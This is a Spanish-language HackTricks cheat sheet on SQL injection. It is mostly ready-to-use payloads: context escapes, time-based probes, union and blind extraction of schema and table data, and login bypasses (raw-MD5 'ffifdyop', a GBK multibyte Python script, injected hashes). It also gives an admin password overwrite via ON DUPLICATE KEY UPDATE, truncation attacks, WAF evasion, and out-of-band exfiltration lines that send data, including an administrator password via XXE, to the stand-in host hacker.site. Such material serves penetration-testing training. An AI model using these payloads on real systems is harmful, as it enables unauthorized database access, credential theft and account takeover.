30 KiB
SQL Injection
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
RootedCON es el evento de ciberseguridad más relevante en España y uno de los más importantes en Europa. Con la misión de promover el conocimiento técnico, este congreso es un punto de encuentro vibrante para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.
{% embed url="https://www.rootedcon.com/" %}
¿Qué es la inyección SQL?
Una inyección SQL es una falla de seguridad que permite a los atacantes interferir con las consultas de la base de datos de una aplicación. Esta vulnerabilidad puede permitir a los atacantes ver, modificar o eliminar datos a los que no deberían tener acceso, incluyendo información de otros usuarios o cualquier dato al que la aplicación pueda acceder. Tales acciones pueden resultar en cambios permanentes en la funcionalidad o contenido de la aplicación o incluso en la compromisión del servidor o denegación de servicio.
Detección de puntos de entrada
Cuando un sitio parece ser vulnerable a la inyección SQL (SQLi) debido a respuestas inusuales del servidor a entradas relacionadas con SQLi, el primer paso es entender cómo inyectar datos en la consulta sin interrumpirla. Esto requiere identificar el método para escapar del contexto actual de manera efectiva.
Estos son algunos ejemplos útiles:
[Nothing]
'
"
`
')
")
`)
'))
"))
`))
Entonces, necesitas saber cómo arreglar la consulta para que no haya errores. Para arreglar la consulta, puedes ingresar datos para que la consulta anterior acepte los nuevos datos, o simplemente puedes ingresar tus datos y agregar un símbolo de comentario al final.
Ten en cuenta que si puedes ver mensajes de error o puedes notar diferencias cuando una consulta está funcionando y cuando no, esta fase será más fácil.
Comentarios
MySQL
#comment
-- comment [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
Confirmando con operaciones lógicas
Un método confiable para confirmar una vulnerabilidad de inyección SQL implica ejecutar una operación lógica y observar los resultados esperados. Por ejemplo, un parámetro GET como ?username=Peter
que produce contenido idéntico cuando se modifica a ?username=Peter' o '1'='1
indica una vulnerabilidad de inyección SQL.
De manera similar, la aplicación de operaciones matemáticas sirve como una técnica de confirmación efectiva. Por ejemplo, si acceder a ?id=1
y ?id=2-1
produce el mismo resultado, es indicativo de inyección SQL.
Ejemplos que demuestran la confirmación de operaciones lógicas:
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
Esta lista de palabras fue creada para intentar confirmar SQLinjections de la manera propuesta:
{% file src="../../.gitbook/assets/sqli-logic.txt" %}
Confirmando con Tiempo
En algunos casos no notarás ningún cambio en la página que estás probando. Por lo tanto, una buena manera de descubrir inyecciones SQL ciegas es hacer que la base de datos realice acciones que tendrán un impacto en el tiempo que necesita la página para cargar.
Por lo tanto, vamos a concatenar en la consulta SQL una operación que tomará mucho tiempo en completarse:
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
En algunos casos, las funciones de sleep no estarán permitidas. Entonces, en lugar de usar esas funciones, podrías hacer que la consulta realice operaciones complejas que tomarán varios segundos. Ejemplos de estas técnicas se comentarán por separado en cada tecnología (si las hay).
Identificación del Back-end
La mejor manera de identificar el back-end es intentar ejecutar funciones de los diferentes back-ends. Podrías usar las funciones de sleep de la sección anterior o estas (tabla de payloadsallthethings:
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
["@@CONNECTIONS>0" ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
["ROWNUM=ROWNUM" ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
["LNNVL(0=123)" ,"ORACLE"],
["5::int=5" ,"POSTGRESQL"],
["5::integer=5" ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
["current_database()=current_database()" ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()" ,"SQLITE"],
["last_insert_rowid()>1" ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
["val(cvar(1))=1" ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
También, si tienes acceso a la salida de la consulta, podrías hacer que imprima la versión de la base de datos.
{% hint style="info" %} En una continuación, vamos a discutir diferentes métodos para explotar diferentes tipos de SQL Injection. Usaremos MySQL como ejemplo. {% endhint %}
Identificando con PortSwigger
{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
Explotando Basado en Unión
Detectando el número de columnas
Si puedes ver la salida de la consulta, esta es la mejor manera de explotarla.
Primero que nada, necesitamos averiguar el número de columnas que la solicitud inicial está devolviendo. Esto se debe a que ambas consultas deben devolver el mismo número de columnas.
Se utilizan típicamente dos métodos para este propósito:
Order/Group by
Para determinar el número de columnas en una consulta, ajusta incrementalmente el número utilizado en las cláusulas ORDER BY o GROUP BY hasta que se reciba una respuesta falsa. A pesar de las distintas funcionalidades de GROUP BY y ORDER BY dentro de SQL, ambos pueden ser utilizados de manera idéntica para determinar el conteo de columnas de la consulta.
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
UNION SELECT
Selecciona más y más valores nulos hasta que la consulta sea correcta:
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
Deberías usar valores null
ya que en algunos casos el tipo de las columnas de ambos lados de la consulta debe ser el mismo y null es válido en todos los casos.
Extraer nombres de bases de datos, nombres de tablas y nombres de columnas
En los siguientes ejemplos vamos a recuperar el nombre de todas las bases de datos, el nombre de la tabla de una base de datos, los nombres de las columnas de la tabla:
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
Hay una forma diferente de descubrir estos datos en cada base de datos diferente, pero siempre es la misma metodología.
Explotando Inyección Basada en Unión Oculta
Cuando la salida de una consulta es visible, pero una inyección basada en unión parece inalcanzable, esto significa la presencia de una inyección basada en unión oculta. Este escenario a menudo conduce a una situación de inyección ciega. Para transformar una inyección ciega en una basada en unión, es necesario discernir la consulta de ejecución en el backend.
Esto se puede lograr mediante el uso de técnicas de inyección ciega junto con las tablas predeterminadas específicas de su Sistema de Gestión de Bases de Datos (DBMS) objetivo. Para entender estas tablas predeterminadas, se aconseja consultar la documentación del DBMS objetivo.
Una vez que se ha extraído la consulta, es necesario adaptar su carga útil para cerrar de manera segura la consulta original. Posteriormente, se añade una consulta de unión a su carga útil, facilitando la explotación de la nueva inyección basada en unión accesible.
Para obtener información más completa, consulte el artículo completo disponible en Healing Blind Injections.
Explotando Basado en Errores
Si por alguna razón no puede ver la salida de la consulta pero puede ver los mensajes de error, puede hacer que estos mensajes de error exfiltren datos de la base de datos.
Siguiendo un flujo similar al de la explotación basada en unión, podría lograr volcar la base de datos.
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
Explotando Blind SQLi
En este caso, no puedes ver los resultados de la consulta ni los errores, pero puedes distinguir cuando la consulta devuelve una respuesta verdadera o falsa porque hay diferentes contenidos en la página.
En este caso, puedes abusar de ese comportamiento para volcar la base de datos carácter por carácter:
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
Explotando Error Blind SQLi
Este es el mismo caso que antes pero en lugar de distinguir entre una respuesta verdadera/falsa de la consulta, puedes distinguir entre un error en la consulta SQL o no (quizás porque el servidor HTTP se bloquea). Por lo tanto, en este caso puedes forzar un SQLerror cada vez que adivinas correctamente el carácter:
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
Explotando SQLi Basado en Tiempo
En este caso no hay ninguna manera de distinguir la respuesta de la consulta basada en el contexto de la página. Pero, puedes hacer que la página tarde más en cargar si el carácter adivinado es correcto. Ya hemos visto esta técnica en uso anteriormente para confirmar una vulnerabilidad SQLi.
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
Consultas Apiladas
Puedes usar consultas apiladas para ejecutar múltiples consultas en sucesión. Ten en cuenta que, aunque las consultas posteriores se ejecutan, los resultados no se devuelven a la aplicación. Por lo tanto, esta técnica es principalmente útil en relación con vulnerabilidades ciegas donde puedes usar una segunda consulta para activar una búsqueda DNS, un error condicional o un retraso de tiempo.
Oracle no soporta consultas apiladas. MySQL, Microsoft y PostgreSQL las soportan: QUERY-1-HERE; QUERY-2-HERE
Explotación Fuera de Banda
Si ningún otro método de explotación funcionó, puedes intentar hacer que la base de datos exfiltre la información a un host externo controlado por ti. Por ejemplo, a través de consultas DNS:
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
Exfiltración de datos fuera de banda a través de XXE
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
Explotación Automatizada
Consulta la Hoja de trucos de SQLMap para explotar una vulnerabilidad de SQLi con sqlmap.
Información técnica específica
Ya hemos discutido todas las formas de explotar una vulnerabilidad de Inyección SQL. Encuentra algunos trucos más dependientes de la tecnología de base de datos en este libro:
O encontrarás muchos trucos sobre: MySQL, PostgreSQL, Oracle, MSSQL, SQLite y HQL en https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
RootedCON es el evento de ciberseguridad más relevante en España y uno de los más importantes en Europa. Con la misión de promover el conocimiento técnico, este congreso es un punto de encuentro vibrante para profesionales de la tecnología y la ciberseguridad en cada disciplina.
{% embed url="https://www.rootedcon.com/" %}
Bypass de autenticación
Lista para intentar eludir la funcionalidad de inicio de sesión:
{% content-ref url="../login-bypass/sql-login-bypass.md" %} sql-login-bypass.md {% endcontent-ref %}
Bypass de autenticación de hash en bruto
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
Esta consulta muestra una vulnerabilidad cuando se utiliza MD5 con verdadero para la salida en bruto en las verificaciones de autenticación, lo que hace que el sistema sea susceptible a la inyección SQL. Los atacantes pueden explotar esto creando entradas que, cuando se hash, producen partes inesperadas de comandos SQL, lo que lleva a un acceso no autorizado.
md5("ffifdyop", true) = 'or'6<EFBFBD>]<EFBFBD><EFBFBD>!r,<EFBFBD><EFBFBD>b<EFBFBD>
sha1("3fDf ", true) = Q<EFBFBD>u'='<EFBFBD>@<EFBFBD>[<EFBFBD>t<EFBFBD>- o<EFBFBD><EFBFBD>_-!
Bypass de autenticación por hash inyectado
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
Lista recomendada:
Deberías usar como nombre de usuario cada línea de la lista y como contraseña siempre: Pass1234.
(Estos payloads también están incluidos en la gran lista mencionada al principio de esta sección)
{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}
Bypass de Autenticación GBK
SI ' está siendo escapado puedes usar %A8%27, y cuando ' se escapa se creará: 0xA80x5c0x27 (╘')
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
Python script:
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
Inyección poliglota (multicontexto)
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
Insert Statement
Modificar la contraseña de un objeto/usuario existente
Para hacerlo, debes intentar crear un nuevo objeto llamado como el "objeto maestro" (probablemente admin en el caso de usuarios) modificando algo:
- Crear un usuario llamado: AdMIn (letras mayúsculas y minúsculas)
- Crear un usuario llamado: admin=
- SQL Truncation Attack (cuando hay algún tipo de límite de longitud en el nombre de usuario o correo electrónico) --> Crear un usuario con el nombre: admin [muchos espacios] a
SQL Truncation Attack
Si la base de datos es vulnerable y el número máximo de caracteres para el nombre de usuario es, por ejemplo, 30 y deseas suplantar al usuario admin, intenta crear un nombre de usuario llamado: "admin [30 espacios] a" y cualquier contraseña.
La base de datos verificará si el nombre de usuario introducido existe dentro de la base de datos. Si no, cortará el nombre de usuario al número máximo permitido de caracteres (en este caso a: "admin [25 espacios]") y luego eliminará automáticamente todos los espacios al final actualizando dentro de la base de datos al usuario "admin" con la nueva contraseña (puede aparecer algún error, pero eso no significa que no haya funcionado).
Más información: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref
Note: Este ataque ya no funcionará como se describe arriba en las últimas instalaciones de MySQL. Si bien las comparaciones aún ignoran los espacios en blanco al final por defecto, intentar insertar una cadena que sea más larga que la longitud de un campo resultará en un error, y la inserción fallará. Para más información sobre esta verificación: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation
Comprobación basada en el tiempo de inserción de MySQL
Agrega tanto ','',''
como consideres para salir de la declaración VALUES. Si se ejecuta un retraso, tienes una SQLInjection.
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
ON DUPLICATE KEY UPDATE
La cláusula ON DUPLICATE KEY UPDATE
en MySQL se utiliza para especificar acciones que la base de datos debe tomar cuando se intenta insertar una fila que resultaría en un valor duplicado en un índice UNIQUE o en la PRIMARY KEY. El siguiente ejemplo demuestra cómo se puede explotar esta característica para modificar la contraseña de una cuenta de administrador:
Ejemplo de Inyección de Payload:
Un payload de inyección podría ser elaborado de la siguiente manera, donde se intenta insertar dos filas en la tabla users
. La primera fila es un señuelo, y la segunda fila apunta al correo electrónico de un administrador existente con la intención de actualizar la contraseña:
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
Aquí está cómo funciona:
- La consulta intenta insertar dos filas: una para
generic_user@example.com
y otra paraadmin_generic@example.com
. - Si la fila para
admin_generic@example.com
ya existe, la cláusulaON DUPLICATE KEY UPDATE
se activa, instruyendo a MySQL para actualizar el campopassword
de la fila existente a "bcrypt_hash_of_newpassword". - En consecuencia, se puede intentar la autenticación utilizando
admin_generic@example.com
con la contraseña correspondiente al hash bcrypt ("bcrypt_hash_of_newpassword" representa el hash bcrypt de la nueva contraseña, que debe ser reemplazado por el hash real de la contraseña deseada).
Extraer información
Creando 2 cuentas al mismo tiempo
Al intentar crear un nuevo usuario, se necesitan el nombre de usuario, la contraseña y el correo electrónico:
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
Usando decimal o hexadecimal
Con esta técnica puedes extraer información creando solo 1 cuenta. Es importante notar que no necesitas comentar nada.
Usando hex2dec y substr:
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
Para obtener el texto, puedes usar:
__import__('binascii').unhexlify(hex(215573607263)[2:])
Usando hex y replace (y substr):
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
RootedCON es el evento de ciberseguridad más relevante en España y uno de los más importantes en Europa. Con la misión de promover el conocimiento técnico, este congreso es un punto de encuentro vibrante para profesionales de la tecnología y la ciberseguridad en cada disciplina.
{% embed url="https://www.rootedcon.com/" %}
Inyección SQL enrutada
La inyección SQL enrutada es una situación donde la consulta inyectable no es la que da salida, sino que la salida de la consulta inyectable va a la consulta que da salida. (From Paper)
Ejemplo:
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
Bypass de WAF
Bypass sin espacios
No Space (%20) - bypass utilizando alternativas de espacio en blanco
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
No Whitespace - eludir usando comentarios
?id=1/*comment*/and/**/1=1/**/--
No Whitespace - eludir usando paréntesis
?id=(1)and(1)=(1)--
No commas bypass
No Comma - eludir usando OFFSET, FROM y JOIN
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
Bypasses Genéricos
Lista negra usando palabras clave - eludir usando mayúsculas/minúsculas
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
Blacklist usando palabras clave sin distinción de mayúsculas y minúsculas - eludir usando un operador equivalente
AND -> && -> %26%26
OR -> || -> %7C%7C
= -> LIKE,REGEXP,RLIKE, not < and not >
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
Bypass de WAF mediante Notación Científica
Puedes encontrar una explicación más detallada de este truco en el blog de gosecure.
Básicamente, puedes usar la notación científica de maneras inesperadas para el WAF para eludirlo:
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
Bypass Column Names Restriction
Primero que nada, ten en cuenta que si la consulta original y la tabla de la que deseas extraer la bandera tienen la misma cantidad de columnas puedes simplemente hacer: 0 UNION SELECT * FROM flag
Es posible acceder a la tercera columna de una tabla sin usar su nombre utilizando una consulta como la siguiente: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
, así que en una sqlinjection esto se vería así:
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
O usando un bypass de coma:
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
Este truco fue tomado de https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/
Herramientas sugeridoras de bypass de WAF
{% embed url="https://github.com/m4ll0k/Atlas" %}
Otras Guías
- https://sqlwiki.netspi.com/
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
Lista de Detección de Fuerza Bruta
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
RootedCON es el evento de ciberseguridad más relevante en España y uno de los más importantes en Europa. Con la misión de promover el conocimiento técnico, este congreso es un punto de encuentro vibrante para profesionales de la tecnología y la ciberseguridad en cada disciplina.
{% embed url="https://www.rootedcon.com/" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- ¡Consulta los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.